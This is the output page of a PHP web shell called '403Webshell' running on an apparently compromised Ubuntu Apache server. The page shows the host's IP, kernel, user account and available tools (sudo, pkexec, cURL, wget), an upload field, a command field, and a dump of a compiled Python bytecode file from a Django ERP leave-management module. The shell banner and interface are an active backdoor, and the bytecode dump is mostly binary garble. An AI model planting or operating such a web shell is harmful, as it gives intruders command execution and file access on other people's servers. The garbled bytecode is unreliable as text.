403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/leave/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/leave/__pycache__/forms.cpython-310.pyc
o

hͦh.��@sZdZddlZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZmZddlmZmZddlm Z ddl!m"Z"ddl#m$Z$ddl%m&Z&ddl'm(Z(m)Z)ddl*m+Z+ddl,m-Z-ddl.m/Z/m0Z0m1Z1m2Z2m3Z3ddl4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<ded�fded�fgZ=dZ>Gdd�de	j�ZGdd �d e	j�Z?Gd!d"�d"e?�Z@Gd#d$�d$e?�ZAd%d&�ZBd'd(�ZCGd)d*�d*e�ZDGd+d,�d,e�ZEGd-d.�d.e�ZFGd/d0�d0e)�ZGGd1d2�d2e�ZHGd3d4�d4e�ZIGd5d6�d6e�ZJgd7�ZKGd8d9�d9e	jL�ZMGd:d;�d;e	jL�ZNGd<d=�d=e�ZOGd>d?�d?e�ZPGd@dA�dAe	jL�ZQGdBdC�dCe	jL�ZRGdDdE�dEe(�ZSGdFdG�dGe�ZTGdHdI�dIe�ZUGdJdK�dKe�ZVGdLdM�dMe�ZWGdNdO�dOe�ZXe�YdP��r�dQdRlZm[Z[m\Z\GdSdT�dTe�Z]GdUdV�dVe	jL�Z^GdWdX�dXe�Z_dSdS)Yz�
This module provides Horilla ModelForms for creating and managing leave-related data,
including leave type, leave request, leave allocation request, holidays and company leaves.
�N)�date�datetime)�Any)�forms)�apps)�ValidationError)�Q)�	ModelForm)�	TextInput��render_to_string)�gettext_lazy)�filtersubordinatesemployeemodel�reload_queryset)�
CompanyLeaves�Holidays)�EmployeeFilter)�MultipleFileField)�Employee)�horilla_middlewares)�HorillaForm�HorillaModelForm)�HorillaMultiSelectField)�HorillaMultiSelectWidget)�calculate_requested_days�company_leave_dates_list�get_leave_day_attendance�holiday_dates_list�leave_requested_dates)�AvailableLeave�LeaveAllocationRequest�LeaveallocationrequestComment�LeaveRequest�LeaverequestComment�LeaverequestFile�	LeaveType�
RestrictLeave�yes�Yes�no�Nogj�@cs eZdZdZ�fdd�Z�ZS)r	z�
    Customized ModelForm class with additional functionality for field customization
    based on the type of widget and setting initial values based on the current request.
    csNt�j|i|��ttjdd�}t|j�|j��D]j\}}|j}t	|t
j�r6|jj�
ddi�t��|_qt	|t
jt
jt
jf�rM|jj�
d|jd��qt	|t
jf�r^|jj�
ddi�qt	|t
j�rr|jj�
d|jdd	d
��qt	|t
jt
jf�r�|jj�
ddi�qz
|jj|jd_WnYz|jjj|jd
_WdSYdS)a>
        Initializes the ModelForm instance.

        This method customizes field attributes such as CSS classes and placeholders
        based on the type of widget. It also sets initial values for specific fields
        based on the current request, particularly for 'employee_id' and 'company_id' fields.
        �requestN�classz oh-input oh-calendar-input w-100�oh-input w-100�r,�placeholderz/oh-select oh-select-2 select2-hidden-accessible��(�r,r/�rows�cols�oh-switch__checkbox�employee_id�
company_id)�super�__init__�getattrr�_thread_localsr�fields�items�widget�
isinstancer�	DateInput�attrs�updater�today�initial�NumberInput�
EmailInputr
�label�Select�Textarea�
CheckboxInput�CheckboxSelectMultiple�user�employee_get�get_company��self�args�kwargsr+�
field_name�fieldr>��	__class__��/var/www/erp/leave/forms.pyr9:sT
�
�������zModelForm.__init__)�__name__�
__module__�__qualname__�__doc__r9�
__classcell__rWrWrUrXr	4sr	cseZdZ�fdd�Z�ZS)�
ConditionFormcsHt�j|i|��ttjdd�}t|j�|j��D]g\}}|j}t	|t
jf�r/d|jjd<qt	|t
j
�rD|jj�ddi�t��|_qt	|t
jt
jt
jf�r[|jj�d|jd��qt	|t
j�ro|jj�d|jddd	��qt	|t
jt
jf�r�|jj�dd
i�qz
|jj|jd_WnYz|jjj|jd_WdSYdS)
Nr+zjwidth:100%; height:50px;border: 1px solid hsl(213deg,22%,84%);border-radius: 0rem;padding: 0.8rem 1.25rem;�styler,r-r.r0r1r2r5r6r7)r8r9r:rr;rr<r=r>r?rrHrAr@rBrrCrDrErFr
rGrIrJrKrLrMrNrOrUrWrXr9rsR
��
������zConditionForm.__init__)rYrZr[r9r]rWrWrUrXr^qsr^c	sdeZdZeej��ededddd�dd�Z	Gdd	�d	�Z
�fd
d�Z�fdd
�Z�fdd�Z
�ZS)�
LeaveTypeForm�employee-widget-filter�f�employee_filters.htmlF��filter_route_name�filter_class�filter_instance_contex_name�filter_template_path�requiredr��querysetr>rGc@sTeZdZeZdZdgZded�iZe	ddd�d�e
��e
��e
jd	d
id�d�Z
dS)
zLeaveTypeForm.Meta�__all__�	is_active�name�Name�color�height:40px;��typer_�rArsr)rp�	period_in�
total_days�carryforward_expire_dateN)rYrZr[r%�modelr<�exclude�_�labelsr
r�HiddenInputr@�widgetsrWrWrWrX�Meta�s�
�r~cszt���}d|jvr|jd=d|jvr|jd=t|dd�d|d<|ds;t|d<d|d<d|d	<d
|d<d
|d<|S)
Nr6�exceed_daysrvr0�limit_leaveT�reset�yearly�reset_based�1�reset_month�	reset_day�r8�clean�errors�round�LEAVE_MAX_LIMIT�rP�cleaned_datarUrWrXr��s


zLeaveTypeForm.cleancsVt�j|i|��}|j�d�}r'|D]}tjj|d�}t|||jd���qdSdS)Nr6��id)�
leave_type_idr6�available_days)	r8�save�data�getlistr�objects�getrrv)rPrQrR�
leave_type�	employeesr6�employeerUrWrXr��s��zLeaveTypeForm.savecst�j|i|��dS�N)r8r9�rPrQrRrUrWrXr9��zLeaveTypeForm.__init__)rYrZr[rrr��allrrr6r~r�r�r9r]rWrWrUrXr`�s ��r`csBeZdZ�fdd�ZGdd�d�Z�fdd�Z�fdd�Z�ZS)	�UpdateLeaveTypeFormc
s�tt|�j|i|��g}|jj��D]"\}}|dus|dkr5|�d�r0t�dd|�}|�	|�|�	|�qt
|���D]\}}t|j
���||vrYd|jjjd<d|jjjd<q<|jj}	rg|	|j
d<dSdS)	N��_idz_id$zwdisplay:none;width:100%; height:50px;border: 1px solid hsl(213deg,22%,84%);border-radius: 0rem;padding: 0.8rem 1.25rem;r_Tzdata-hiddenrw)r8r�r9�instance�__dict__r=�endswith�re�sub�append�	enumerate�visible_fields�listr<�keysrTr>rArw)
rPrQrR�empty_fieldsrS�field_value�foreign_key_field_name�index�visible�expire_daterUrWrXr9�s$


����zUpdateLeaveTypeForm.__init__c@s>eZdZeZdZgd�Zeddd�d�ej	ddid�d	�Z
d
S)zUpdateLeaveTypeForm.Metarl)rurvrmrprqrrrtrsr)rprwN)rYrZr[r%rxr<ryr
rr@r}rWrWrWrXr~�s
�r~csht���}d|jvr|jd=t|dd�d|d<|ds2t|d<d|d<d|d	<d
|d<d
|d<|S)
Nr�countr0r�rvTr�r�r�r�r�r�r�r�rUrWrXr��s

zUpdateLeaveTypeForm.cleancst�j|i|��}dSr�)r8r�)rPrQrRr�rUrWrXr�r�zUpdateLeaveTypeForm.save)rYrZr[r9r~r�r�r]rWrWrUrXr��s
	r�cs�t||�}tj��}t|�}tj��}t||��|jdkr;|jdkr;t	t
|����t�fdd�|D��}||}|Sd}	|jdkrS|D]
}
|
|vrN|	d7}	qD||	}|jdkrgt�fdd�|D��}||}|S)Nr'c3��|]}|�vVqdSr�rW��.0�requested_date)�total_leavesrWrX�	<genexpr>s�
�z/cal_effective_requested_days.<locals>.<genexpr>r�c3r�r�rWr�)�company_leave_datesrWrXr�&s
��
�)rrr�r�rrr�exclude_company_leave�exclude_holidayr��set�sum)�
start_date�end_dater��requested_days�requested_dates�holidays�
holiday_dates�company_leaves�total_leave_count�
holiday_countr��company_leave_countrW)r�r�rX�cal_effective_requested_dayss4





��
�
�r�cCsdtjj|||d�}t|�dkr0|��}|j|kr0|jdkr0|dkr0|j|kr0|j|kr0tj��}|S)N�r6�start_date__lte�
end_date__gter��full_day)	r"r��filter�len�firstr��start_date_breakdown�end_date_breakdown�none)r6r�r�r�r��overlapping_requests�existing_leaverWrWrX�leaveoverlaping.s�




r�c�neZdZejejddid�d�Zejejddid�d�Z�fdd�Z�fdd�Z	d	d
�Z
Gdd�d�Z�ZS)
�LeaveRequestCreationFormrsrrt�r>cst���}|�d�}|�d�}|�d�}|�d�}|�d�}|�d�}|�d�}t|||||�j|jjd�}	|jd	krH|durHt�	dt
d
�i��||ksSt�	t
d���||krb||krbt�	t
d���tjj
||d
���sst�	t
d���|	jddgd���r�t�	t
d���tjj||d
�}
|
j|
j}t||||�}t||||d�}
t||�}dd�|D�}t��}tt|��}|j�d|j��|vr�|�|�d��d|j���|
�|�}|
jjdvr�|
jj|kr�|
jjn|}|
jjdkr�|
jr�||
j}||7}|
|k�st�	t
d���|S)Nr�r�r6r�r�r��
attachmentr�r'�0An attachment is required for this leave request�,End date should not be less than start date.�DThere is a mismatch in the breakdown of the start date and end date.�r6r��Employee has no leave type..�	cancelled�rejected��
status__in�:Employee has already a leave request for this date range..�r�r�r�r�cS�"g|]
}|j�d|�d����qS��-�%m��year�strftime�r�rrWrWrX�
<listcomp>�"z2LeaveRequestCreationForm.clean.<locals>.<listcomp>r�r���carryforwardzcarryforward expire�no carryforward�)Employee doesn't have enough leave days..) r8r�r�r�ryr�r��require_attachmentrrrzrr�r��existsr��carryforward_daysrr�rrrCr�r��monthr��remover��forcasted_leavesr��carryforward_type�carryforward_max)rPr�r�r�r6r�r�r�r�r��available_leave�total_leave_daysr��effective_requested_days�leave_dates�
month_yearrC�unique_dates�
forcated_daysrUrWrXr�Es�








��
����������
���

����

zLeaveRequestCreationForm.cleancs�t�j|i|��d|jdjjd<|jdjj�ddddd	d
��|jdjj�ddd
d��|jdjj�ddddd	d
��dS)N�.jpg, .jpeg, .png, .pdfr��acceptr�z#leaveRequestCreateForm�#availableLeaveCount�	outerHTML�change�%/leave/employee-available-leave-count��
hx-include�	hx-targetzhx-swap�
hx-trigger�hx-getr6�#id_leave_type_id_parent_divz=/leave/get-employee-leave-types?form=LeaveRequestCreationForm�r
rrr��r8r9r<r>rArBr�rUrWrXr9�s0��	����z!LeaveRequestCreationForm.__init__cO�d|i}td|�}|S��S
        Render the form fields as HTML table rows with Bootstrap styling.
        �form�horilla_form.htmlr�rPrQrR�context�
table_htmlrWrWrX�as_p��
zLeaveRequestCreationForm.as_pc@�eZdZeZgd�ZdS)zLeaveRequestCreationForm.Meta�r6r�r�r�r�r�r��descriptionN�rYrZr[r"rxr<rWrWrWrXr~��r~�
rYrZr[r�	DateFieldr@r�r�r�r9rr~r]rWrWrUrXr�AsTr�cr�)
�LeaveRequestUpdationFormrsrrtr�cs�t���}|�d�}|�d�}|�d�}|�d�}|�d�}|�d�}tjj|||d�j|jjd�}||ks=t	�
td	���||krL||krLt	�
td
���tjj||d��
�s]t	�
td���|jd
dgd��
�rnt	�
td���tjj||d�}	|	j|	j}
t||||�}t||||d�}t||�}
dd�|
D�}t��}tt|��}|j�d|j��|vr�|�|�d��d|j���|	�|�}|	jjdvr�|	jj|
kr�|	jjn|
}
|	jjdkr�|	jr�|
|	j}
|
|7}
||
ks�t	�
td���|S)Nr�r�r6r�r�r�r�r�r�r�r�r�r�r�r�r�r�cSr�r�r�r�rWrWrXr��r�z2LeaveRequestUpdationForm.clean.<locals>.<listcomp>r�r�r�r�r�)r8r�r�r"r�r�ryr�r�rrrzrr�r�r�rr�rrrCr�r�r�r�r�r�r�r�r�r�)rPr�r�r�r6r�r�r�r�r�r�r�r�r�r�rCrrrUrWrXr��s�






���������
���

����
zLeaveRequestUpdationForm.cleancs�t�j|i|��|jdjj�dddddd��|jdjj�d	dd
d��d|jd
jjd<|jdjj�dddddd��dS)Nr�z#leaveRequestUpdateFormz#assinedLeaveAvailableCountrrrrr6r
z=/leave/get-employee-leave-types?form=LeaveRequestUpdationFormrrr�rr�rr�rUrWrXr9s0��	����z!LeaveRequestUpdationForm.__init__cOrrrrrWrWrXr8rzLeaveRequestUpdationForm.as_pc@r)zLeaveRequestUpdationForm.Meta)r�r6r�r�r�r�r�rNrrWrWrWrXr~@rr~rrWrWrUrXr!�sHr!c@sNeZdZdZejej��ej	dd�Z
ejej��ej	dd�ZGdd�d�Z
dS)�AvailableLeaveForma�
    Form for managing available leave data.

    This form allows users to manage available leave data by specifying details such as
    the leave type and employee.

    Attributes:
        - leave_type_id: A ModelChoiceField representing the leave type associated with the available leave.
        - employee_id: A ModelChoiceField representing the employee associated with the available leave.
    N)rkr>�empty_labelc@r)zAvailableLeaveForm.Meta)r�r6rmN)rYrZr[rrxr<rWrWrWrXr~err~)rYrZr[r\r�ModelChoiceFieldr%r�r��SelectMultipler�rr6r~rWrWrWrXr"Ns��r"c	sPeZdZdZeej��ede	dddd�dd�Z
Gd	d
�d
�Z�fdd�Z�Z
S)
�LeaveOneAssignForma=
    Form for assigning available leave to employees.

    This form allows administrators to assign available leave to a single employee
    by specifying the employee and setting the is_active flag.

    Attributes:
        - employee_id: A HorillaMultiSelectField representing the employee to assign leave to.
    rarbrcTrdrrjc@seZdZdZeZddgZdS)zLeaveOneAssignForm.Meta�3
        Meta class for additional options
        r6rmN�rYrZr[r\rrxr<rWrWrWrXr~��r~cs t�j|i|��t|j�dSr�)r8r9rr<r�rUrWrXr9�szLeaveOneAssignForm.__init__)rYrZr[r\rrr�r�rrr6r~r9r]rWrWrUrXr&js
��r&c@�eZdZdZGdd�d�ZdS)�AvailableLeaveUpdateForma�
    Form for updating available leave data.

    This form allows users to update available leave data by modifying fields such as
    available_days, carryforward_days, and is_active.

    Attributes:
        - Meta: Inner class defining metadata options.
            - model: The model associated with the form (AvailableLeave).
            - fields: A list of fields to include in the form.
    c@�eZdZdZeZgd�ZdS)zAvailableLeaveUpdateForm.Metar')r�r�rmNr(rWrWrWrXr~�r)r~N�rYrZr[r\r~rWrWrWrXr+�sr+c@r*)�CompanyLeaveForma�
    Form for managing company leave data.

    This form allows users to manage company leave data by including all fields from
    the CompanyLeaves model except for is_active.

    Attributes:
        - Meta: Inner class defining metadata options.
            - model: The model associated with the form (CompanyLeaves).
            - fields: A special value indicating all fields should be included in the form.
            - exclude: A list of fields to exclude from the form (is_active).
    c@seZdZdZeZdZdgZdS)zCompanyLeaveForm.Metar'rlrmN)rYrZr[r\rrxr<ryrWrWrWrXr~�s

r~Nr-rWrWrWrXr.�s
r.cs�eZdZejejddid�d�Zejejddid�d�Zeje	d�ej
d�Z�fdd�Z�fd	d
�Z
dd�ZGd
d�d�Z�ZS)�UserLeaveRequestFormrsrrtr��Description�rGr>csZt���}|�d�}|�d�}|�d�}|�d�}|�d�}|�d�}t|||||�j|jjd�}tjj	|d�}	|	sAt
�td	���|j
d
krX|�d�}
|
durXt
�dtd�i��||krg||krgt
�td
���||ksrt
�td���|jddgd���r�t
�td���t||||�}tjj||d�}|j|j}
t||||d�}||
ks�t
�td���|S)Nr�r�r6r�r�r�r�)r6z6You dont have enough leave days to update the request.r'r�r�r�r�r�r�r�z=Employee has already a leave request for this date range.....r�r�r�)r8r�r�r�ryr�r�rr�r�rrrzr�r�rr�r�r�)rPr�r�r�r6r�r�r�r��assigned_leave_typesr�r�r�r�r�rUrWrXr��st







���

���������
��zUserLeaveRequestForm.cleancs�|�dd�}|�dd�}tt|�j|i|��d|jdjjd<|r9|j��}t	j
j|jddd�d	�}||jd_
|rZt	j
j|djd
�|jd_
|dj|jd_d|jd_dSdS)NrDr�rr�rr�T��flat��id__inr�)�popr8r/r9r<r>rAr�r�r%r�r��values_listrkr�rDr#)rPrQrRr�r��available_leavesr2rUrWrXr9�s"
���zUserLeaveRequestForm.__init__cOrrrrrWrWrXrrzUserLeaveRequestForm.as_pc@s(eZdZdZeZgd�Zde��iZ	dS)zUserLeaveRequestForm.Metar'rr6N�
rYrZr[r\r"rxr<rr|r}rWrWrWrXr~s�r~)rYrZr[rr r@r�r��	CharFieldrzrIrr�r9rr~r]rWrWrUrXr/�s<r/)r��approved_available_days�approved_carryforward_days�
created_atr�c@�>eZdZdZej��Zdd�eD�Ze	j
ee	jgd�d�ZdS)�AvailableLeaveColumnExportForma�
    Form for selecting columns to export in available leave data.

    This form allows users to select specific columns from the AvailableLeave model
    for export. The available columns are dynamically generated based on the
    model's meta information, excluding specified excluded_fields.

    Attributes:
        - model_fields: A list of fields in the AvailableLeave model.
        - field_choices: A list of field choices for the form, consisting of field names
          and their verbose names, excluding specified excluded_fields.
        - selected_fields: A MultipleChoiceField representing the selected columns
          to be exported.
    cC�,g|]}t|d�r|jtvr|j|jf�qS��verbose_name��hasattrrn�excluded_fieldsrC�r�rTrWrWrXr�F��

�z)AvailableLeaveColumnExportForm.<listcomp>)r6r�r�r�r���choicesr>rDN)
rYrZr[r\r�_meta�
get_fields�model_fields�
field_choicesr�MultipleChoiceFieldrK�selected_fieldsrWrWrWrXr@5s
�
�r@c@�>eZdZdZejed�ejddd�d�d�ZGdd	�d	�Z	d
S)�
RejectFormz�
    Form for rejecting a leave request.

    This form allows administrators to provide a rejection reason when rejecting
    a leave request.

    Attributes:
        - reason: A CharField representing the reason for rejecting the leave request.
    �Rejection Reason��p-4 oh-input w-100�r3r,rtr1c@seZdZdZeZdgZdS)zRejectForm.Metar'�
reject_reasonN)rYrZr[r\r"rxr<rWrWrWrXr~hs
r~N�
rYrZr[r\rr;rzrI�reasonr~rWrWrWrXrRX�
�rRcsneZdZejejddid�d�Zejejddid�d�Zdd�Z�fdd�Z	�fd	d
�Z
Gdd�d�Z�ZS)
�UserLeaveRequestCreationFormrsrrtr�cOrrrrrWrWrXrurz!UserLeaveRequestCreationForm.as_pcs�|�dd�}t�j|i|��d|jdjjd<|r1|j��}tj	j
|jddd�d�}||jd_|jdjj�
d	d
ddd
d��||jd_dS)Nr�rr�rr�Tr3r5z#userLeaveFormrrrrrr6)r7r8r9r<r>rAr�r�r%r�r�r8rkrBrD)rPrQrRr�r9r2rUrWrXr9}s$
���	z%UserLeaveRequestCreationForm.__init__c
sTt���}|�d�}|�d�}|�d�}|�d�}|�d�}|�d�}t|||||�j|jjd�}||ks<t�t	d���|j
d	krS|�d
�}	|	durSt�d
t	d�i��||krb||krbt�t	d���tjj
||d
���sst�t	d���|jddgd���r�t�t	d���tjj||d
�}
|
j|
j}t||||�}||d<||ks�t�t	d���|S)Nr�r�r6r�r�r�r�r�r'r�r�r�r�r�r�r�r�r�r�r�)r8r�r�r�ryr�r�rrrzr�rr�r�r�r�r�r)
rPr�r�r�r6r�r�r�r�r�r�r�r�rUrWrXr��sl







���

���������
��z"UserLeaveRequestCreationForm.cleanc@s.eZdZdZeZgd�Ze��e��d�Z	dS)z!UserLeaveRequestCreationForm.Metar')	r�r6r�r�r�r�r�rr�)r6r�Nr:rWrWrWrXr~�s
�r~)
rYrZr[rr r@r�r�rr9r�r~r]rWrWrUrXr[qs:r[c@s&eZdZdZdd�ZGdd�d�ZdS)�LeaveAllocationRequestForma=
    Form for creating a leave allocation request.

    This form allows users to create a leave allocation request by specifying
    details such as leave type, employee, requested days, description, and attachment.

    Methods:
        - as_p: Render the form fields as HTML table rows with Bootstrap styling.
    cOrrrrrWrWrXr�rzLeaveAllocationRequestForm.as_pc@r,)zLeaveAllocationRequestForm.Metar')r�r6r�rr�N)rYrZr[r\r rxr<rWrWrWrXr~�r)r~N)rYrZr[r\rr~rWrWrWrXr\�s
r\c@rQ)� LeaveAllocationRequestRejectForma
    Form for rejecting a leave allocation request.

    This form allows administrators to provide a rejection reason when rejecting
    a leave allocation request.

    Attributes:
        - reason: A CharField representing the reason for rejecting the leave allocation request.
    rSrTrUrVrtr1c@�eZdZeZdgZdS)z%LeaveAllocationRequestRejectForm.MetarWN)rYrZr[r rxr<rWrWrWrXr~�
r~NrXrWrWrWrXr]rZr]c@r?)�LeaveRequestExportForma�
    Form for selecting fields to export in a leave request export.

    This form allows users to select specific fields from the LeaveRequest model
    for export. The available fields are dynamically generated based on the
    model's meta information, excluding certain fields specified in 'excluded_fields'.

    Attributes:
        - model_fields: A list of fields in the LeaveRequest model.
        - field_choices: A list of field choices for the form, consisting of field names
          and their verbose names, excluding specified excluded_fields.
        - selected_fields: A MultipleChoiceField representing the selected fields
          to be exported.
    cCrArBrDrGrWrWrXr�+rHz!LeaveRequestExportForm.<listcomp>)	r6�leave_type_Assignidr�r�r�r�r�r�statusrIN)
rYrZr[r\r"rKrLrMrNrrOrKrPrWrWrWrXr`s
�
�r`c	sveZdZdZejej��ej	ddd�d�dddd	�Z
eej��e
d
edddd
�dd�Z�fdd�Z�fdd�Z�ZS)�AssignLeaveFormz
    Form for Payslip
    zoh-select oh-select-2 mb-2T)r,rirtN�
Leave TypeF)rkr>r#rGrirarbrcrdrrjcsFt���}|�d�}|�d�}|st�ddi��|s!t�ddi��|S)Nr6r�zThis field is required)r8r�r�rr)rPr�r6r�rUrWrXr�\s


zAssignLeaveForm.cleancsLt�j|i|��t|j�|jdjj�dt��d��fd|jd_	dS)Nr6T)rir�rdr�)
r8r9rr<r>rArB�uuid�uuid4rGr�rUrWrXr9gs
�zAssignLeaveForm.__init__)rYrZr[r\rr$r%r�r�r%r�rrrrr6r�r9r]rWrWrUrXrcBs0��	��rcc@r*)�LeaverequestcommentFormz"
    LeaverequestComment form
    c@�eZdZdZeZdZdS)zLeaverequestcommentForm.Metar'��commentN�rYrZr[r\r#rxr<rWrWrWrXr~u�r~Nr-rWrWrWrXrgp�rgc�ReZdZdZdZGdd�d�Z�fdd�Zdd�Zdd
ede	f�fdd
�
Z
�ZS)�LeaveCommentForm�*
    Leave request comment model form
    �Add Commentc@rh)zLeaveCommentForm.Metar'rlNrkrWrWrWrXr~�rlr~csDt�j|i|��tdd�|jd<d|jdjjd<d|jd_dS)N�files�rGrrF)r8r9rr<r>rArir�rUrWrXr9�szLeaveCommentForm.__init__cC�d|i}td|�}|S�rrzcommon_form.htmlr�rPrrrWrWrXr�rzLeaveCommentForm.as_p.�commit�returnc�~g}d}|j�d�r-|j�d�}|d|j_g}|D]}t�}||_|��|�|j�qt	��|�}|r;|jj
|�||fS�Nrrr�rrr�r��
attachemntr$�filer�r��pkr8�add�rPrw�multiple_files_idsrrr|�
file_instancer�rUrWrXr���zLeaveCommentForm.save�.�rYrZr[r\rCr~r9r�boolrr�r]rWrWrUrXro~s roc@r*)�!LeaveallocationrequestcommentFormz.
    Leave Allocation Requestcomment form
    c@rh)z&LeaveallocationrequestcommentForm.Metar'riN�rYrZr[r\r!rxr<rWrWrWrXr~�rlr~Nr-rWrWrWrXr��rmr�crn)�LeaveAllocationCommentFormrprqc@rh)zLeaveAllocationCommentForm.Metar'rlNr�rWrWrWrXr~�rlr~cs2t�j|i|��tdd�|jd<d|jd_dS)NrrrsF)r8r9rr<rir�rUrWrXr9�sz#LeaveAllocationCommentForm.__init__cCrtrurrvrWrWrXr�rzLeaveAllocationCommentForm.as_p.rwrxcryrzr{r�rUrWrXr��r�zLeaveAllocationCommentForm.saver�r�rWrWrUrXr��s r�csbeZdZejejddid�d�Zejejddid�d�Zdd�ZGdd�d�Z	�fd	d
�Z
�ZS)�RestrictLeaveFormrsrrtr�cCs8|j�d�}|j�d�}|r|r||krttd���|S)Nr�r�z3End date should not be earlier than the start date.)r�r�rrz)rPr�r�rWrWrX�clean_end_date�s�z RestrictLeaveForm.clean_end_datec@s&eZdZeZdZdgZded�iZdS)zRestrictLeaveForm.Metarlrm�title�TitleN)	rYrZr[r&rxr<ryrzr{rWrWrWrXr~�s�r~csJtt|�j|i|��d|jdjjd<|jdjj�ddddd��dS)	Nr��autocomplete�
departmentz#leaveRestrictFormz#restrictLeaveJobPositionrz!/leave/get-restrict-job-positions)r	r
rr)r8r�r9r<r>rArBr�rUrWrXr9s��zRestrictLeaveForm.__init__)rYrZr[rr r@r�r�r�r~r9r]rWrWrUrXr��s��r��
attendancer�)�CompensatoryLeaveRequest�CompensatoryLeaverequestCommentcsBeZdZdZGdd�d�Z�fdd�Zdd�Z�fdd	�Z�ZS)
�CompensatoryLeaveFormaU
        Form for creating a leave allocation request.

        This form allows users to create a leave allocation request by specifying
        details such as leave type, employee, requested days, description, and attachment.

        Methods:
            - as_p: Render the form fields as HTML table rows with Bootstrap styling.
        c@s(eZdZdZejdd�ZeZgd�Z	dS)zCompensatoryLeaveForm.Meta�;
            Meta class for additional options
            T)ri)r6�
attendance_idrN)
rYrZr[r\rrOr�r�rxr<rWrWrWrXr~ s
r~c	s�tt|�j|i|��ttjdd�}d}|jr|jj}|r@t|d�r@t|j	d�r@|j	j
}t||d�}t|�
dd��}||jd_t|tjjdd	��tjj|j	d
�B��}||jd_|jdjj�dd
dd��dS)Nr+rLrM)�comp_idr��attendance_dater�T)rm)�employee_user_idr6z#id_attendance_id_parent_divrz!/leave/get-leave-attendance-datesr)r8r�r9r:rr;r�r�rErLrMrr�r8r<rJrrr�r��distinctrkr>rArB)	rPrQrRr+�instance_idr��holiday_attendance�attendance_datesrkrUrWrXr9/sB��
��
������zCompensatoryLeaveForm.__init__cOr)z[
            Render the form fields as HTML table rows with Bootstrap styling.
            rrrrrWrWrXrTrzCompensatoryLeaveForm.as_pcs�t���}|�d�}|dust|�dkrt�dtd�i��|�d�}d}d}|jr-|jj}|D]}t	j
j||d��t
|d�t
dd	�B���rJd
}nq/|rTt�ddi��|S)Nr�r�zThis field is required.r6F)r6r�r�r�)rbTz;This attendance is already converted to complimentory leave)r8r�r�r�rrrzr�r�r�r�r�ryrr�)rPr�r�r��attendance_repeatr�r�rUrWrXr�\s6


�
���	��zCompensatoryLeaveForm.clean)	rYrZr[r\r~r9rr�r]rWrWrUrXr�s
%r�c@rQ)�"CompensatoryLeaveRequestRejectForma<
        Form for rejecting a compensatory leave request.

        This form allows administrators to provide a rejection reason when rejecting
        a compensatory leave request.

        Attributes:
            - reason: A CharField representing the reason for rejecting the  compensatory leave request.
        rSrTrUrVrtr1c@r^)z'CompensatoryLeaveRequestRejectForm.MetarWN)rYrZr[r�rxr<rWrWrWrXr~�r_r~NrXrWrWrWrXr�zrZr�c@r*)�#CompensatoryLeaveRequestcommentFormz*
        LeaverequestComment form
        c@rh)z(CompensatoryLeaveRequestcommentForm.Metar�riN)rYrZr[r\r�rxr<rWrWrWrXr~�rlr~Nr-rWrWrWrXr��rmr�)`r\�mathr�rerr�typingr�djangor�django.appsr�django.core.exceptionsr�django.db.modelsr�django.formsr	�django.forms.widgetsr
�django.template.loaderr�django.utils.translationr
rz�base.methodsrr�base.modelsrr�employee.filtersr�employee.formsr�employee.modelsr�horillar�horilla_widgets.formsrr�2horilla_widgets.widgets.horilla_multi_select_fieldr�&horilla_widgets.widgets.select_widgetsr�
leave.methodsrrrrr�leave.modelsrr r!r"r#r$r%r&�CHOICESr�r^r`r�r�r�r�r!r"r&r+r.r/rF�Formr@rRr[r\r]r`rcrgror�r�r��is_installed�modelsr�r�r�r�r�rWrWrWrX�<module>sz(=1;2
$p	#r"(.0.(e�

Youez - 2016 - github.com/yon3zu
LinuXploit